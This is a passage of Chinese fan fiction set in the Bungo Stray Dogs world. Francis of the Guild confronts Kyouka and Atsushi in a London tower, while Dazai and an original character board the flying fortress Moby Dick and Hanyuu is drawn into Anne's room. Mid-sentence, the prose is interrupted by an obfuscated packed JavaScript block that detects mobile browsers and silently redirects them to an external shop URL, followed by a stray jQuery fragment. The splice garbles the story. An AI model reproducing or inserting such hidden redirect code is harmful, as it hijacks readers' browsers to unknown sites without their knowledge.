伦敦中心大楼的楼顶,停机坪。

    一架直升飞机向上拔升,隐没在了夜色之中。

    与此同时,顶层办公室,使用异能力【白鲸】传送过来的弗朗西斯接过路易莎递过来的微型录像设备——那是一枚做工精致的扣子,缝在路易斯的毯子上。

    “弗朗西斯大人,您快回去吧,刚才的那两个人应该是在引诱您从白鲸里出来。”路易莎缩着肩膀小声说道,其实她刚才就在劝阻弗朗西斯不要下来。

    “别担心,路易莎。”弗朗西斯拍了拍路易莎的肩膀,表示安抚,“白鲸只是一个载具而已。我才是‘组合’的核心。”

    “是。只要弗朗西斯大人在,‘组合’就在。”路易莎小声得附和。

    就在这时,整座楼宇再一次震动了一下,这次的震感更为强烈,连墙体都扑朔朔掉下碎屑来。

    “先去看看谁在破坏我的财产吧。”

    弗朗西斯将外套往肩头一扔,大步向下走去。

    虽然在路易莎的财务估算中,白鲸的价值远高于这座中心大楼,但是弗朗西斯大人很明显有别的打算,她也只是默默跟在后面。

    *

    夜叉白雪的银色长刀在空中滑过纤细的弧光,靠着绝对的防御技巧将芥川逼到角落,身穿和服的少女手持银刃,与中岛敦缠斗在一起。

    “镜花,你为什么……”

    “我说的很明白了,我想你离开。”

    泉镜花毫不迟疑的欺身上前,娇小的身形是她的优势,而中岛敦又不可能真的对泉镜花下手,他逐渐陷入劣势。

    “我要你跟我一起走!”中岛敦喊道。

    泉镜花因为中岛敦的话动作一顿,她雾蓝色的眼睛里闪过一瞬间的迟疑与痛苦,“我……是我不想走,这里就是我的归宿。”

    “怎么可能!”中岛敦不理解得喊道,组合是什么好地方吗?光是这些天它在国际上搅局的行为就比港口Mafia还要恶劣很多了。

    至少港口Mafia只是在横滨那点地方作乱,“组合”可是为了私欲挑起国家之间的争端!

    “我就知道说服不了你。敦,你很坚强,也很顽固。”

    泉镜花露出一点笑容来,仿佛释怀,又好像终于要松一口气了。

    中岛敦在这个时候骤觉不好,但是来不及了,泉镜花突然收身后退,将那柄银刃对准了自己纤细的脖颈。

    “请离开,敦,我以性命要挟,你走不走。”

    “镜花!”

    性命要挟,竟然到了这种地步。到底,“组合”到底会发生什么?

    “不要!镜花,把刀放下来,请不要伤害自己……”

    中岛敦的声音几乎哀求,这让泉镜花感到痛苦,她不愿意看到敦这个样子,在港口Mafia是这样,现在也是这样。

    但是可笑的是,现在给敦带去痛苦的人是她自己。

    然而,她必须这样做。

    “我希望你好好活着。敦,所以请原谅我。”

    泉镜花眼眸微垂,她使用耳朵里的微型通讯设备,对着一直未挂断的通话道:“夜叉白雪,一分钟内中岛敦不离开伦敦中心大楼,就杀了……”我

    “小镜花,你这样做,赫尔曼会非常难过的。”

    下一秒,“组合”分发的通讯设备在耳朵里发出尖锐的啸鸣,泉镜花惨叫一声将通讯设备丢掉,紧接着她发现身后一个人悄无声息的站立。

    整层楼的灯光亮了起来,金发碧眼,嘴角带着张扬笑意的弗朗西斯,突然出现在所有人面前。

    他摸了摸泉镜花的头发,“不要这样伤害自己,因为这是对我财产的,亵渎。”

    *

    高空,直升飞机发动机的巨响被乱流风声覆盖。

    太宰治握着头顶得把手,探出小半个身体仰头往上空看,风吹得他眼睛都难以睁开。

    头顶得云层中,不甚清晰的信号灯若隐若现,这是伪装之余必要的提醒,否则隐形了被飞机撞上谁都不好受。

    “羽生久——你打算——怎么上去——”他扯着嗓子喊道。

    羽生久在驾驶位,使用了跟太宰治一样的姿势往外看了眼,他没有说话,但是一把小型的勾爪出现在了他的手里。

    太宰治被震惊了。

    认真的吗?

    他身为自杀专业户都被这种作死行为吓到了,这种高度,这种风力强度,把自己的小命寄托在半个手掌大的勾爪上吗?

    “你不要太离谱!”

    话音未落,羽生久竟然直接从驾驶位翻到了后排,不顾太宰治惊悚的推搡一把搂住了他。

    “你大爷的,回去啊!当直升飞机是自动挡的汽车吗!??”

    羽生久语气没什么起伏,仿佛太宰治说的是事实,“搂紧我的脖子。”

    此时飞机已经开始倾斜了,可以预见几秒钟过后就会像陀螺一样旋转着高空坠毁。

    太宰治别无选择,他边小声辱骂羽生久祖宗十八代,边用故意谋杀的力度搂住他的脖子,两秒后,紧紧贴在一起的两个影子向上弹射出机舱,往云霄飞去。

    太刺激了,这个高度摔下去绝对死得不能再死了,如果变成肉末了羽生久的【死者苏生】还有用吗?

    羽生久这家伙以前也是这样完成任务的吗?

    如果是这样那英年早逝也是应该的,失手一次就足够死透了。

    这种强度对强大的异能者来说根本不算什么,中也经常一声不吭得利用重力操纵站在机翼上,在敌人惊恐的目光中炸掉机舱。

    但是对一个没有异能力的普通人而言,这简直难以理解。

    靠近“组合”的空中要塞之后,太宰治更不理解了,因为勾爪正好勾在了白鲸外壁不多的几道门的外沿上,这是怎么做到的?

    下一刻,太宰治的疑惑被解答了。

    “这次的运气还可以,竟然直接勾到门了。”

    他听见羽生久在他耳边自言自语的喃喃。

    太宰治:………

    运气是吗……你活该早死……

    羽生久一手搂着太宰治,一手扒在门上,他用下巴嗑了嗑太宰治的发顶,示意他开门。

    太宰治在高空的高压环境下超常发挥,只用了一秒钟就打开了门,两人一起摔进了白鲸内部。

    白鲸内部几乎全部都是人造的机械构成,太宰治在地上躺了一会儿,刚才急速开门是利用了他【人间失格】的能力,但是现在在白鲸内部,反而【人间失格】不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823196|207360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起效了。

    这说明也许白鲸的外壳,是它仅存的异能部分。

    羽生久俯身将太宰治拉起来,他稍微辨别了一下方位,带着太宰治开始往下走。

    白鲸内部路线错综,一部分装潢豪华,一部分仅仅搭建了铁质桥梁跟楼梯,割裂非常,但是很符合“组合”资本的特制。

    “那架飞机怎么办?”太宰治突然开口问。

    “它会坠落在下面的湖里。”羽生久回答。

    为了避免伤到无辜的民众,他故意等到合适的时机再出手。

    两人无言走了片刻,经过一个拐角,终于碰见了人。

    “哎呀,今天值班看来不太平啊。不知道老板又去哪里了。”

    一个穿背带裤的西方面孔男人,手里拿着一颗葡萄,抛起又接住。

    他上下扫视一眼太宰治,“虽然有些不合时宜,但是我还是想问,你们是怎么上来的?”

    “飞上来的。”太宰治说着搞笑的实话,他突然发现原先一直站在身后的羽生久不见了,无声无息的消失了。

    注意到太宰治的疑惑,背带裤男人笑了笑,“你的同伴现在正被安妮邀请做客,找不到他的。”

    “现在我要开始工作了,把你这个害我加班的入侵者,当成害虫清理出去。”

    “这个说法很不礼貌诶,害虫什么的。”太宰治歪了下脑袋,无所谓的摊手,“不过既然你想玩一下,我也不介意奉陪。”

    他当着敌人的面,无意识摩挲着无名指上的戒指,走着神,不知道在想什么。

    *

    羽生久眼前一花,身周场景骤然变化,大片艳丽的粉红色映入眼帘。

    鲜艳的彩带,礼盒,巨大的时钟,城堡,粉红色向外延伸出去——这是一个带有梦核色彩的空间。

    一个红头发双麻花辫的女孩,双手交握,声音活泼欢悦,“yaya~,欢迎来到安妮的房间。虽然这次的游戏只有一个人参与,但是也能玩的很开心呢——”

    “这是什么地方?”羽生久开口问道。

    “不是已经说了一遍了吗?安妮的房间,很可惜你的同伴抓不进房间里来,否则将他关在门后绝对会更加有趣的!”

    “你是说,你原本想将太宰关在那扇门里面?”

    羽生久指了指房间最末端的那扇古典西式风格的铁门,门后有许多人被一只大手捆绑,全都垂着脑袋,不知是死是活。

    “到门里然后呢?会怎样?”

    “这就是规则了!”

    红发女孩语气不变,身体却警惕得往后退了些,让悬浮在背后,看起来恐怖至极的安妮离自己近一些。

    “我这里有一把钥匙,在安妮抓到你之前用钥匙打开门,救出里面的人,你就赢了!输了的话就只能一起去门里面了。”

    羽生久往另外一扇门的窗户看了眼,外面的场景呈现黑白相片的灰色,太宰治面对另一个背带裤男人,定格似的一动不动。

    “这里的时间流动与外面无关?”

    红发女孩有些不耐烦了,“我可以控制。快点开始游戏吧,那边的门不会向你打开,因为是你先没有遵守规则。”

    她指的规则是,羽生久没有同伴被关在铁门后。